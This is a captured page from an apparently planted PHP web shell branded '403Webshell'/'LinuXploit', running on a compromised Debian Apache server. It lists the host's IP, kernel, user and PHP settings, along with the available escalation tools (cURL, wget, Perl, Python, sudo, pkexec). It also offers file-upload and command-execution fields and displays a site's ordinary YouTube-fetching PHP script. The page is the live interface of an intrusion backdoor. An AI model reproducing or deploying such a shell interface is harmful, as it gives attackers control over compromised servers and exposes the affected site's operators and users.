403Webshell
Server IP : 80.241.246.6  /  Your IP : 216.73.216.188
Web Server : Apache/2.4.25 (Debian)
System : Linux kharagauli 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
User : www-data ( 33)
PHP Version : 7.0.33-0+deb9u12
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/kharagauli1/moduls/video_gallery_2/site/youtube/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/kharagauli1/moduls/video_gallery_2/site/youtube/youtube.php
<?php
/*
@author suxoza <suxoza@gmail.com>
*/

try{
    


    if(!isset($_GET['id']))       throw new Exception("invalid uri");
    if(!file_exists('maines.php'))throw new Exception("youtube finder module not found");



    $type = (isset($_GET['type']))?$_GET['type']:'mp4';
    require_once 'maines.php';

    $video_id = (strpos($_GET['id'],"youtube.com") === false)?clier($_GET['id']):getid(clier($_GET['id']));
    $aa = saxli($video_id);
    $best = $aa->getbest('mp4');
    if(!$best)                     throw new Exception("video not found not found");

    pre($best);
//if(gettype('saxli') == 'object')echo 1;else echo 2;

}catch(Exception $exc){
    die($exc->getMessage());
}

function getid($url){
  preg_match("#(?<=v=)[a-zA-Z0-9-]+(?=&)|(?<=v\/)[^&\n]+(?=\?)|(?<=v=)[^&\n]+|(?<=youtu.be/)[^&\n]+#", $url, $matches);
  return $matches[0];  
}

function clier($a){
    return trim(strip_tags($a));
}

function pre($a){
    echo "<pre>";
      print_r($a);
    echo "</pre>";
}















































































//$aa = saxli("CjWXWTKa5kI");
//$best = $aa->getall();
////$best->download('/var/www/maines.mp4');
//pre($aa->image);
//pre($best);
////echo $best->get_size();
////pre($aa->streams);

Youez - 2016 - github.com/yon3zu
LinuXploit